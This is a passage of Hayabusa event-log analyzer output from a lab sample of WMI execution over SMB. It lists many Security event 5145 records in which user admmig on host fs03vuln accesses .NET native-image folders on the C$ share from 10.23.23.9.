SMB.evtx +2021-04-22 20:32:31.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.28b9ef5a#\4b7763786015950c44dbba0ff26b883e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.016 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.82d5542b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.016 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.82d5542b#\af89139de3b87146c705fa989eeaa4b1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.188dd00b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.188dd00b#\db42d61826797328b8b368348c6b3f13 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.1586a486# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.1586a486#\9de316f43fe18621a13deefe7dbbbc27 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.078 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.2486c0f5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.2486c0f5#\5a669ebdf74fb2c8f0d8148b4f79b9a2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.4961ff77# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.4961ff77#\81722d79b43d0329413516f10c3faf60 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.dc83ace6# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.dc83ace6#\cd0ef620fc82b9dab224ae428bb2a910 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Entity : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Entity\0023a84796c78827e3d0176900ba5b59 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Mobile : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Mobile\84ecb78e3635883e1cf8acae1dec527e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Routing : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Routing\aa9b0e256833bf2671e6cb5370559f4f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Services : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Services\fe0f1499df5082fd5392827ddfb03c9e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind0de890be# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind0de890be#\1235ba87f20536f0d0826b2ed514ab19 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.125 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5abb17e9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.125 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5abb17e9#\928d9b9947cc9afb702c0c2fe2945da7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.150 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5cb9c182# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.150 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5cb9c182#\55235c007590785b8554cd0c0dc95d36 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.182 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind74b7bf4b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.182 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind74b7bf4b#\ee04d39ed856041bef2381a968f3c2b9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind412bbddf# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind412bbddf#\cf3e7fb699d07208e389d8d3e5c3e3b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\635558b506364815e8348217e86fdf99 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Work0493292f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Work0493292f#\b8d89e2f35d492e69789bd504270dff4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.213 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workca489553# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.213 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workca489553#\2af2b08e949ae5ebe946684d477a50d5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workd8194f73# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workd8194f73#\e75ae269d8eb8c8fb7bdcce4082ff8c2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workfffcbcd8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workfffcbcd8#\64d113caa8b81caec5c21797931b5624 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml\10483ca149b5c651d217edbf2f3169b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml.Hosting : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml.Hosting\e9062794b3050c9564584baa07300c10 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\77bc1a994f64193efc124c297b93fdb7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.84e525b7# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.251 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.84e525b7#\1e30da61ac8d97f7b17cdce57fb6a874 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.251 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.251 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\6f7a4225a199ad7894379512ca6ae50c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\TaskScheduler : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\TaskScheduler\313baced763e9e5054e7694d5594cde5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Temp : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomatio4e153cb6# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomatio4e153cb6#\a1f231be2afa2e51dfc0a1f76644d2f7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationClient : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationClient\abccca8c6f96e1d3c686a69acb31b9a9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: 